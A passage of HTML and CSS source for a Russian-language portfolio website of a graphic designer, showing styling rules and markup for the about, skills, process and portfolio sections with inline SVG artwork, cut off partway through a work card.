.work-card-bg {\n            background: linear-gradient(135deg, #1a1a0d 0%, #2a280a 100%);\n        }\n\n        .work-card:nth-child(6) .work-card-bg {\n            background: linear-gradient(135deg, #140d1a 0%, #22103a 100%);\n        }\n\n        /* ─── TOOLS ─── */\n        #tools {\n            padding: 7rem 6vw;\n            border-bottom: 1px solid var(--border);\n        }\n\n        .tools-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2rem, 3.5vw, 3.2rem);\n            font-weight: 800;\n            letter-spacing: -0.02em;\n            margin-top: 0.8rem;\n            margin-bottom: 3.5rem;\n        }\n\n        .tools-list {\n            display: flex;\n            flex-wrap: wrap;\n            gap: 1rem;\n        }\n\n        .tool-badge {\n            display: flex;\n            align-items: center;\n            gap: 0.7rem;\n            padding: 0.7rem 1.2rem;\n            border: 1px solid var(--border);\n            border-radius: 2px;\n            font-size: 0.85rem;\n            font-weight: 500;\n            color: var(--muted);\n            transition: border-color 0.25s, color 0.25s, background 0.25s;\n        }\n\n        .tool-badge:hover {\n            border-color: var(--accent);\n            color: var(--text);\n            background: rgba(212, 245, 66, 0.04);\n        }\n\n        .tool-dot {\n            width: 7px;\n            height: 7px;\n            border-radius: 50%;\n            background: var(--accent);\n            flex-shrink: 0;\n        }\n\n        /* ─── CONTACT ─── */\n        #contact {\n            padding: 9rem 6vw;\n            background: var(--bg);\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 8rem;\n            align-items: start;\n        }\n\n        .contact-left {}\n\n        .contact-title {\n            font-family: var(--ff-head);\n            font-size: clamp(2.5rem, 4vw, 4.5rem);\n            font-weight: 800;\n            letter-spacing: -0.03em;\n            line-height: 1.0;\n            margin-top: 1rem;\n            margin-bottom: 2rem;\n        }\n\n        .contact-title em {\n            font-style: normal;\n            color: var(--accent);\n        }\n\n        .contact-desc {\n            font-size: 0.95rem;\n            line-height: 1.8;\n            color: var(--muted);\n            max-width: 380px;\n        }\n\n        .contact-links {\n            margin-top: 3rem;\n            display: flex;\n            flex-direction: column;\n            gap: 1rem;\n        }\n\n        .contact-link {\n            display: flex;\n            align-items: center;\n            gap: 1rem;\n            font-size: 0.9rem;\n            color: var(--muted);\n            padding: 1rem 1.2rem;\n            border: 1px solid var(--border);\n            border-radius: 2px;\n            transition: border-color 0.25s, color 0.25s, background 0.25s;\n        }\n\n        .contact-link:hover {\n            border-color: var(--accent);\n            color: var(--text);\n            background: rgba(212, 245, 66, 0.03);\n        }\n\n        .contact-link svg {\n            flex-shrink: 0;\n            opacity: 0.5;\n            transition: opacity 0.25s;\n        }\n\n        .contact-link:hover svg {\n            opacity: 1;\n        }\n\n        .contact-form {}\n\n        .form-group {\n            margin-bottom: 1.2rem;\n        }\n\n        .form-group label {\n            display: block;\n            font-size: 0.72rem;\n            font-weight: 600;\n            letter-spacing: 0.15em;\n            text-transform: uppercase;\n            color: var(--muted);\n            margin-bottom: 0.5rem;\n        }\n\n        .form-group input,\n        .form-group textarea {\n            width: 100%;\n            background: var(--bg2);\n            border: 1px solid var(--border);\n            border-radius: 2px;\n            padding: 0.85rem 1rem;\n            color: var(--text);\n            font-family: var(--ff-body);\n            font-size: 0.9rem;\n            outline: none;\n            resize: none;\n            transition: border-color 0.25s;\n        }\n\n        .form-group input:focus,\n        .form-group textarea:focus {\n            border-color: var(--accent);\n        }\n\n        .form-group textarea {\n            height: 130px;\n        }\n\n        .form-row {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1rem;\n        }\n\n        .btn-submit {\n            width: 100%;\n            padding: 1rem;\n            background: var(--accent);\n            color: var(--bg);\n            border: none;\n            border-radius: 2px;\n            font-family: var(--ff-head);\n            font-size: 0.85rem;\n            font-weight: 700;\n            letter-spacing: 0.12em;\n            text-transform: uppercase;\n            cursor: pointer;\n            transition: background 0.25s, transform 0.2s;\n        }\n\n        .btn-submit:hover {\n            background: var(--accent2);\n            transform: translateY(-1px);\n        }\n\n        .btn-submit:active {\n            transform: translateY(0);\n        }\n\n        /* ─── FOOTER ─── */\n        footer {\n            padding: 2rem 6vw;\n            border-top: 1px solid var(--border);\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            background: var(--bg2);\n        }\n\n        .footer-copy {\n            font-size: 0.78rem;\n            color: var(--muted);\n        }\n\n        .footer-copy span {\n            color: var(--accent);\n        }\n\n        .footer-back {\n            font-size: 0.78rem;\n            font-weight: 600;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--muted);\n            transition: color 0.2s;\n        }\n\n        .footer-back:hover {\n            color: var(--text);\n        }\n\n        /* ─── REVEAL ANIMATIONS ─── */\n        .reveal {\n            opacity: 0;\n            transform: translateY(28px);\n            transition: opacity 0.8s cubic-bezier(.4, 0, .2, 1), transform 0.8s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .reveal.visible {\n            opacity: 1;\n            transform: translateY(0);\n        }\n\n        .reveal-left {\n            opacity: 0;\n            transform: translateX(-28px);\n            transition: opacity 0.8s cubic-bezier(.4, 0, .2, 1), transform 0.8s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .reveal-left.visible {\n            opacity: 1;\n            transform: translateX(0);\n        }\n\n        .reveal-right {\n            opacity: 0;\n            transform: translateX(28px);\n            transition: opacity 0.8s cubic-bezier(.4, 0, .2, 1), transform 0.8s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .reveal-right.visible {\n            opacity: 1;\n            transform: translateX(0);\n        }\n\n        .d1 {\n            transition-delay: 0.1s;\n        }\n\n        .d2 {\n            transition-delay: 0.2s;\n        }\n\n        .d3 {\n            transition-delay: 0.3s;\n        }\n\n        .d4 {\n            transition-delay: 0.4s;\n        }\n\n        .d5 {\n            transition-delay: 0.5s;\n        }\n\n        .d6 {\n            transition-delay: 0.6s;\n        }\n\n        /* ─── RESPONSIVE ─── */\n        @media (max-width: 1024px) {\n            #about {\n                grid-template-columns: 1fr;\n                gap: 4rem;\n            }\n\n            #contact {\n                grid-template-columns: 1fr;\n                gap: 4rem;\n            }\n\n            .skills-head {\n                grid-template-columns: 1fr;\n                gap: 1.5rem;\n            }\n\n            .skills-grid {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .skill-card:nth-child(3n) {\n                border-right: 1px solid var(--border);\n            }\n\n            .skill-card:nth-child(2n) {\n                border-right: none;\n            }\n\n            .process-grid {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .process-step {\n                border-bottom: 1px solid var(--border);\n            }\n\n            .process-step:nth-child(2n) {\n                border-right: none;\n            }\n        }\n\n        @media (max-width: 768px) {\n            .nav-links {\n                display: none;\n            }\n\n            .hero-inner {\n                grid-template-columns: 1fr;\n            }\n\n            .hero-scroll {\n                display: none;\n            }\n\n            .works-grid {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            .about-stats {\n                grid-template-columns: repeat(3, 1fr);\n            }\n        }\n\n        @media (max-width: 540px) {\n            .works-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .skills-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .skill-card {\n                border-right: none;\n            }\n\n            .process-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .process-step {\n                border-right: none;\n            }\n\n            .form-row {\n                grid-template-columns: 1fr;\n            }\n\n            .about-stats {\n                grid-template-columns: repeat(3, 1fr);\n                gap: 0.75rem;\n            }\n\n            .about-stat-val {\n                font-size: 1.8rem;\n                height: 1.8rem;\n            }\n\n            .about-stat-label {\n                font-size: 0.62rem;\n                letter-spacing: 0.06em;\n            }\n\n            .about-photo-accent {\n                display: none;\n            }\n\n            .hero-name {\n                font-size: clamp(2.6rem, 7vw, 7.5rem);\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- ─── NAV ─── -->\n    <nav id=\"nav\">\n        <a href=\"#hero\" class=\"nav-logo\">Е<span>.</span>Демидов</a>\n        <ul class=\"nav-links\">\n            <li><a href=\"#about\">Обо мне</a></li>\n            <li><a href=\"#skills\">Навыки</a></li>\n            <li><a href=\"#works\">Работы</a></li>\n            <li><a href=\"#process\">Процесс</a></li>\n        </ul>\n        <a href=\"#contact\" class=\"nav-cta\">Заказать</a>\n    </nav>\n\n    <!-- ─── HERO ─── -->\n    <section id=\"hero\">\n        <div class=\"hero-bg\"></div>\n        <div class=\"hero-inner\">\n            <div>\n                <div class=\"hero-label\">Графический дизайнер</div>\n                <h1 class=\"hero-name\">\n                    Евгений<br>\n                    <em>Демидов</em>\n                </h1>\n                <div class=\"hero-tags\">\n                    <span class=\"hero-tag\">Photoshop</span>\n                    <span class=\"hero-tag\">Illustrator</span>\n                    <span class=\"hero-tag\">Motion</span>\n                    <span class=\"hero-tag\">Брендинг</span>\n                    <span class=\"hero-tag\">UI / Print</span>\n                </div>\n            </div>\n            <div class=\"hero-scroll\">\n                <div class=\"hero-scroll-line\"></div>\n                <span>Scroll</span>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── MARQUEE ─── -->\n    <div class=\"section-marquee\">\n        <div class=\"marquee-track\" id=\"marqueeTrack\">\n            <span>Adobe Photoshop</span><span class=\"acc\">✦</span>\n            <span>Illustrator</span><span class=\"acc\">✦</span>\n            <span>After Effects</span><span class=\"acc\">✦</span>\n            <span>Figma</span><span class=\"acc\">✦</span>\n            <span>Брендинг</span><span class=\"acc\">✦</span>\n            <span>Ретушь</span><span class=\"acc\">✦</span>\n            <span>Типографика</span><span class=\"acc\">✦</span>\n            <span>Motion Design</span><span class=\"acc\">✦</span>\n            <span>Полиграфия</span><span class=\"acc\">✦</span>\n            <span>Compositing</span><span class=\"acc\">✦</span>\n            <!-- дублируем для бесконечного скролла -->\n            <span>Adobe Photoshop</span><span class=\"acc\">✦</span>\n            <span>Illustrator</span><span class=\"acc\">✦</span>\n            <span>After Effects</span><span class=\"acc\">✦</span>\n            <span>Figma</span><span class=\"acc\">✦</span>\n            <span>Брендинг</span><span class=\"acc\">✦</span>\n            <span>Ретушь</span><span class=\"acc\">✦</span>\n            <span>Типографика</span><span class=\"acc\">✦</span>\n            <span>Motion Design</span><span class=\"acc\">✦</span>\n            <span>Полиграфия</span><span class=\"acc\">✦</span>\n            <span>Compositing</span><span class=\"acc\">✦</span>\n        </div>\n    </div>\n\n    <!-- ─── ABOUT ─── -->\n    <section id=\"about\">\n        <div class=\"about-photo-wrap reveal-left\">\n            <div class=\"about-photo-frame\">\n                <img src=\"me.jpg\" alt=\"Евгений Демидов\" loading=\"lazy\">\n            </div>\n            <div class=\"about-photo-accent\"></div>\n            <div class=\"about-photo-num\">01</div>\n        </div>\n        <div class=\"about-text\">\n            <div class=\"section-label reveal\">Обо мне</div>\n            <h2 class=\"about-title reveal d1\">\n                Визуальные решения,<br>которые <em>работают</em>\n            </h2>\n            <p class=\"about-desc reveal d2\">\n                Более 8 лет я создаю визуальные идентичности для брендов, которые хотят выделяться.\n                Мой инструмент — Adobe Photoshop, который я освоил до мельчайших деталей: от\n                профессиональной ретуши и сложного композитинга до создания фотореалистичных\n                визуализаций с нуля.\n            </p>\n            <p class=\"about-desc reveal d3\">\n                Я убеждён: хороший дизайн — это не про красоту, это про решение задачи.\n                Каждый пиксель, каждый шрифт, каждый цвет — осознанный выбор в пользу\n                результата клиента.\n            </p>\n            <div class=\"about-stats reveal d4\">\n                <div>\n                    <div class=\"about-stat-val\" data-count=\"8\">0</div>\n                    <div class=\"about-stat-label\">Лет опыта</div>\n                </div>\n                <div>\n                    <div class=\"about-stat-val\" data-count=\"240\">0</div>\n                    <div class=\"about-stat-label\">Проектов</div>\n                </div>\n                <div>\n                    <div class=\"about-stat-val\" data-count=\"98\">0</div>\n                    <div class=\"about-stat-label\">% клиентов снова</div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── SKILLS ─── -->\n    <section id=\"skills\">\n        <div class=\"skills-head\">\n            <div>\n                <div class=\"section-label reveal\">Экспертиза</div>\n                <h2 class=\"skills-title reveal d1\">Инструменты<br>& навыки</h2>\n            </div>\n            <p class=\"skills-desc reveal d2\">\n                Глубокое владение профессиональными инструментами позволяет реализовывать\n                идеи любой сложности — от логотипа до полного брендбука.\n            </p>\n        </div>\n        <div class=\"skills-grid\">\n            <!-- Adobe Photoshop -->\n            <div class=\"skill-card reveal\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\" />\n                        <path d=\"M8 16V8l3.5 5L15 8v8\" />\n                        <path d=\"M15.5 13h-3\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">Adobe Photoshop</div>\n                <div class=\"skill-desc\">Профессиональная ретушь, цветокоррекция, сложный композитинг, создание фотореалистичных артов и манипуляций.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.97\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">97%</span>\n                </div>\n            </div>\n            <!-- Adobe Illustrator -->\n            <div class=\"skill-card reveal d1\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <path d=\"M12 2L2 19h20L12 2z\" />\n                        <path d=\"M9 14h6\" />\n                        <path d=\"M10.5 11l-1.5 3m6-3l-1.5 3\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">Adobe Illustrator</div>\n                <div class=\"skill-desc\">Разработка логотипов, векторных иллюстраций, фирменных стилей и инфографики — финальная точность до 0.01 px.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.93\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">93%</span>\n                </div>\n            </div>\n            <!-- After Effects -->\n            <div class=\"skill-card reveal d2\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <circle cx=\"12\" cy=\"12\" r=\"9\" />\n                        <path d=\"M12 7v5l3 3\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">After Effects</div>\n                <div class=\"skill-desc\">Motion design: анимированные логотипы, интро/аутро, моушн-графика для социальных сетей и видеопроектов.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.85\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">85%</span>\n                </div>\n            </div>\n            <!-- Figma -->\n            <div class=\"skill-card reveal d3\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <rect x=\"5\" y=\"2\" width=\"14\" height=\"8\" rx=\"3\" />\n                        <rect x=\"5\" y=\"14\" width=\"6\" height=\"6\" rx=\"2\" />\n                        <circle cx=\"16\" cy=\"17\" r=\"3\" />\n                        <path d=\"M5 10v4\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">Figma</div>\n                <div class=\"skill-desc\">UI-дизайн, продуктовые интерфейсы, дизайн-системы, прототипирование и collaborative-дизайн.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.88\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">88%</span>\n                </div>\n            </div>\n            <!-- Брендинг -->\n            <div class=\"skill-card reveal d4\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <path d=\"M12 2l2.5 7H21l-5.5 4 2 7L12 16l-5.5 4 2-7L3 9h6.5z\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">Айдентика & брендинг</div>\n                <div class=\"skill-desc\">Разработка полной визуальной идентичности: логотип, брендбук, палитра, типографика, шаблоны.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.95\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">95%</span>\n                </div>\n            </div>\n            <!-- Полиграфия -->\n            <div class=\"skill-card reveal d5\">\n                <div class=\"skill-icon\">\n                    <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" style=\"color:var(--accent)\">\n                        <rect x=\"4\" y=\"3\" width=\"16\" height=\"18\" rx=\"2\" />\n                        <path d=\"M8 7h8M8 11h8M8 15h5\" />\n                    </svg>\n                </div>\n                <div class=\"skill-name\">Полиграфия</div>\n                <div class=\"skill-desc\">Подготовка макетов к печати: CMYK, спуск полос, работа с типографиями. Визитки, буклеты, баннеры, упаковка.</div>\n                <div class=\"skill-level\">\n                    <div class=\"skill-level-bar\">\n                        <div class=\"skill-level-fill\" data-pct=\"0.90\"></div>\n                    </div>\n                    <span class=\"skill-level-pct\">90%</span>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── PROCESS ─── -->\n    <section id=\"process\">\n        <div class=\"process-head\">\n            <div class=\"section-label reveal\">Как я работаю</div>\n            <h2 class=\"process-title reveal d1\">Процесс от идеи<br>до результата</h2>\n        </div>\n        <div class=\"process-grid\">\n            <div class=\"process-step reveal\">\n                <div class=\"process-num\">01</div>\n                <div class=\"process-name\">Бриф & исследование</div>\n                <div class=\"process-desc\">Детально изучаю задачу, аудиторию, конкурентов. Задаю правильные вопросы, чтобы получить чёткое техническое задание.</div>\n            </div>\n            <div class=\"process-step reveal d1\">\n                <div class=\"process-num\">02</div>\n                <div class=\"process-name\">Концепция</div>\n                <div class=\"process-desc\">Разрабатываю несколько концепции с аргументацией выбора. Использую mood boards и референсы для совместного согласования вектора.</div>\n            </div>\n            <div class=\"process-step reveal d2\">\n                <div class=\"process-num\">03</div>\n                <div class=\"process-name\">Производство</div>\n                <div class=\"process-desc\">Реализую утверждённую концепцию с детальной проработкой в Photoshop, Illustrator или After Effects. Максимальное качество каждого элемента.</div>\n            </div>\n            <div class=\"process-step reveal d3\">\n                <div class=\"process-num\">04</div>\n                <div class=\"process-name\">Финал & сдача</div>\n                <div class=\"process-desc\">Предоставляю все необходимые форматы файлов, исходники и подробный гайд по использованию. Поддержка после сдачи.</div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── WORKS ─── -->\n    <section id=\"works\">\n        <div class=\"works-head\">\n            <div>\n                <div class=\"section-label reveal\">Портфолио</div>\n                <h2 class=\"works-title reveal d1\">Избранные работы</h2>\n            </div>\n            <a href=\"#contact\" class=\"works-all reveal\">Обсудить проект →</a>\n        </div>\n        <div class=\"works-grid\">\n\n            <!-- 1: Брендинг «Кедр» -->\n            <div class=\"work-card reveal\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <!-- фоновые направляющие сетки -->\n                        <line x1=\"200\" y1=\"0\" x2=\"200\" y2=\"300\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".1\" />\n                        <line x1=\"0\" y1=\"150\" x2=\"400\" y2=\"150\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".1\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"120\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".08\" />\n                        <circle cx=\"200\" cy=\"150\" r=\"80\" stroke=\"#d4f542\" stroke-width=\"0.4\" opacity=\".08\" />\n                        <!-- логотип-сетка (рисуется при hover) -->\n                        <g>\n                            <!-- диагональные направляющие -->\n                            <line x1=\"120\" y1=\"60\" x2=\"280\" y2=\"240\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <line x1=\"280\" y1=\"60\" x2=\"120\" y2=\"240\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <line x1=\"120\" y1=\"60\" x2=\"280\" y2=\"60\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <line x1=\"120\" y1=\"240\" x2=\"280\" y2=\"240\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <line x1=\"120\" y1=\"60\" x2=\"120\" y2=\"240\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <line x1=\"280\" y1=\"60\" x2=\"280\" y2=\"240\" class=\"wc1-grid\" stroke=\"#d4f542\" stroke-width=\"0.6\" opacity=\".25\" />\n                            <!-- окружности построения -->\n                            <circle cx=\"200\" cy=\"150\" r=\"80\" class=\"wc1-circle\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".4\" />\n                            <circle cx=\"200\" cy=\"150\" r=\"56\" class=\"wc1-circle\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".3\" stroke-dasharray=\"5 3\" />\n                            <!-- символ кедра -->\n                            <path d=\"M200 80 L240 140 L220 140 L245 185 L222 185 L200 220 L178 185 L155 185 L180 140 L160 140 Z\" stroke=\"#d4f542\" stroke-width=\"1.5\" fill=\"#d4f542\" fill-opacity=\".06\" class=\"wc1-mark\" />\n                            <!-- точки опорные -->\n                            <circle cx=\"200\" cy=\"80\" r=\"3\" fill=\"#d4f542\" class=\"wc1-circle\" />\n                            <circle cx=\"240\" cy=\"140\" r=\"3\" fill=\"#d4f542\" class=\"wc1-circle\" />\n                            <circle cx=\"160\" cy=\"140\" r=\"3\" fill=\"#d4f542\" class=\"wc1-circle\" />\n                            <circle cx=\"200\" cy=\"220\" r=\"3\" fill=\"#d4f542\" class=\"wc1-circle\" />\n                        </g>\n                        <!-- нижний лейбл -->\n                        <text x=\"200\" y=\"280\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"9\" fill=\"#d4f542\" opacity=\".3\" letter-spacing=\"4\">KEDR · BRAND IDENTITY</text>\n                    </svg>\n                </div>\n                <div class=\"work-card-overlay\"></div>\n                <div class=\"work-card-info\">\n                    <div class=\"work-card-cat\">Брендинг</div>\n                    <div class=\"work-card-name\">Фирменный стиль «Кедр»</div>\n                </div>\n            </div>\n\n            <!-- 2: Neon City -->\n            <div class=\"work-card reveal d1\">\n                <div class=\"work-card-bg\"></div>\n                <div class=\"work-card-mock\">\n                    <svg viewBox=\"0 0 400 300\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" preserveAspectRatio=\"xMidYMid slice\">\n                        <!-- звёзды -->\n                        <circle cx=\"40\" cy=\"20\" r=\"1\" fill=\"#d4f542\" opacity=\".5\" />\n                        <circle cx=\"80\" cy=\"35\" r=\"1.2\" fill=\"#d4f542\" opacity=\".3\" />\n                        <circle cx=\"150\" cy=\"15\" r=\"0.8\" fill=\"#d4f542\" opacity=\".6\" />\n                        <circle cx=\"210\" cy=\"28\" r=\"1\" fill=\"#d4f542\" opacity=\".4\" />\n                        <circle cx=\"310\" cy=\"12\" r=\"1.2\" fill=\"#d4f542\" opacity=\".5\" />\n                        <circle cx=\"360\" cy=\"40\" r=\"0.8\" fill=\"#d4f542\" opacity=\".3\" />\n                        <circle cx=\"270\" cy=\"22\" r=\"1\" fill=\"#d4f542\" opacity=\".4\" />\n                        <circle cx=\"120\" cy=\"45\" r=\"0.6\" fill=\"#d4f542\" opacity=\".25\" />\n                        <!-- горизонт -->\n                        <rect x=\"0\" y=\"210\" width=\"400\" height=\"90\" fill=\"#0a0a12\" opacity=\".8\" />\n                        <!-- отражение на воде -->\n                        <line x1=\"200\" y1=\"220\" x2=\"200\" y2=\"300\" stroke=\"#d4f542\" stroke-width=\"1.5\" opacity=\".08\" />\n                        <line x1=\"100\" y1=\"225\" x2=\"100\" y2=\"300\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".06\" />\n                        <line x1=\"300\" y1=\"225\" x2=\"300\" y2=\"300\" stroke=\"#d4f542\" stroke-width=\"0.8\" opacity=\".06\" />\n                        <!-- City skyline -->\n                        <!-- здание 1 -->\n                        <rect x=\"20\" y=\"120\" width=\"38\" height=\"120\" fill=\"#111122\" stroke=\"#d4f542\" stroke-width=\"0.7\" opacity=\"0.9\" />\n                        <rect x=\"28\" y=\"110\" width=\"22\" height=\"12\" fill=\"#111122\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"24\" y=\"135\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".12\" />\n                        <rect x=\"34\" y=\"135\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".18\" />\n                        <rect x=\"44\" y=\"135\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".08\" />\n                        <!-- здание 2 -->\n                        <rect x=\"68\" y=\"80\" width=\"50\" height=\"160\" fill=\"#0e0e1e\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"76\" y=\"70\" width=\"34\" height=\"12\" fill=\"#0e0e1e\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"85\" y=\"60\" width=\"16\" height=\"12\" fill=\"#0e0e1e\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"72\" y=\"95\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".15\" class=\"wc2-sign\" />\n                        <rect x=\"83\" y=\"95\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"94\" y=\"95\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".1\" class=\"wc2-sign\" />\n                        <rect x=\"105\" y=\"95\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".18\" />\n                        <rect x=\"72\" y=\"115\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"83\" y=\"115\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".22\" class=\"wc2-sign\" />\n                        <rect x=\"94\" y=\"115\" width=\"7\" height=\"10\" fill=\"#d4f542\" opacity=\".12\" />\n                        <!-- здание 3 (центральное высокое) -->\n                        <rect x=\"128\" y=\"40\" width=\"60\" height=\"200\" fill=\"#0c0c1a\" stroke=\"#d4f542\" stroke-width=\"0.8\" />\n                        <rect x=\"140\" y=\"28\" width=\"36\" height=\"14\" fill=\"#0c0c1a\" stroke=\"#d4f542\" stroke-width=\"0.8\" />\n                        <rect x=\"150\" y=\"16\" width=\"16\" height=\"14\" fill=\"#0c0c1a\" stroke=\"#d4f542\" stroke-width=\"0.8\" />\n                        <!-- neon вывеска -->\n                        <rect x=\"133\" y=\"58\" width=\"50\" height=\"14\" rx=\"2\" stroke=\"#d4f542\" stroke-width=\"1\" fill=\"none\" class=\"wc2-glow\" />\n                        <text x=\"158\" y=\"69\" text-anchor=\"middle\" font-family=\"sans-serif\" font-size=\"7\" fill=\"#d4f542\" class=\"wc2-sign\" letter-spacing=\"2\">NEON</text>\n                        <rect x=\"134\" y=\"82\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".18\" />\n                        <rect x=\"145\" y=\"82\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".12\" class=\"wc2-sign\" />\n                        <rect x=\"156\" y=\"82\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"167\" y=\"82\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".14\" class=\"wc2-sign\" />\n                        <rect x=\"134\" y=\"100\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".1\" class=\"wc2-sign\" />\n                        <rect x=\"145\" y=\"100\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"156\" y=\"100\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".16\" class=\"wc2-sign\" />\n                        <rect x=\"167\" y=\"100\" width=\"7\" height=\"9\" fill=\"#d4f542\" opacity=\".1\" />\n                        <!-- огонёк на крыше -->\n                        <circle cx=\"158\" cy=\"14\" r=\"2.5\" fill=\"#d4f542\" class=\"wc2-glow\" />\n                        <!-- здание 4 -->\n                        <rect x=\"198\" y=\"100\" width=\"44\" height=\"140\" fill=\"#111120\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"204\" y=\"90\" width=\"32\" height=\"12\" fill=\"#111120\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"202\" y=\"115\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".14\" class=\"wc2-sign\" />\n                        <rect x=\"212\" y=\"115\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".2\" />\n                        <rect x=\"222\" y=\"115\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".1\" />\n                        <rect x=\"232\" y=\"115\" width=\"6\" height=\"8\" fill=\"#d4f542\" opacity=\".18\" class=\"wc2-sign\" />\n                        <!-- здание 5 -->\n                        <rect x=\"252\" y=\"130\" width=\"36\" height=\"110\" fill=\"#0d0d1c\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"258\" y=\"120\" width=\"24\" height=\"12\" fill=\"#0d0d1c\" stroke=\"#d4f542\" stroke-width=\"0.7\" />\n                        <rect x=\"256\" y=\"148\" width=\"6\" height=\"7\" fill=\"#d4f542\" opacity=\".12\" class=\"wc2-sign\" />\n                        <rect x=\"266\" y=\"148\" width=\"6\" height=\"7\" fill=\"#d4f542\" 